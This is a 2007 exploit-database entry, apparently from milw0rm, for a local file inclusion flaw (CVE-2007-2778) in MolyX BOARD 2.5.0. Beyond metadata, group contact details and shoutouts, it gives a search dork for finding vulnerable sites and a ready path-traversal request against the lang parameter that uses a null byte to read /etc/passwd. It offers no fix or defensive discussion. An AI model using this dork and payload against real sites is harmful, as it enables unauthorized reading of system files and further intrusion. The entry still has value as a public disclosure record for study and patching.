MolyX BOARD 2.5.0 - 'index.php?lang' Local File Inclusion

Author: MurderSkillz
type: webapps
platform: php
port: 
date_added: 2007-05-17 
date_updated:  
verified: 1 
codes: OSVDB-36508;CVE-2007-2778 
tags: 
aliases:  
screenshot_url:  
application_url: 

=============== MolyX BOARD 2.5.0 Local File Inclusion ==== Possibly other versions

=============== Vulnerability found by MurderSkillz ==============================================

=============== d0rk "Powered by MolyX BOARD 2.5.0" =========================================

=============== Website: g00ns.net g00ns-forum.net ============================================

=============== Irc: irc.exploitercode.com:6667 ts: ts.g00ns.net ====================================

=============== Script website: molyx.com ====================================================

############### Exploit ###################################################################

www.victim.com/[path to board if any]/index.php?lang=../../../../../../../../etc/passwd%00

This Vulnerability takes place in pretty much every file in this webapp...

########################################################################################

Shouts: FiSh,sCuZz, sick, clorox, z3r0, katalyst, SyNiCaL, overdose, pr0be, Trintitty, rezen, str0ke and everyone else at g00ns.net that I forgot..

# milw0rm.com [2007-05-18]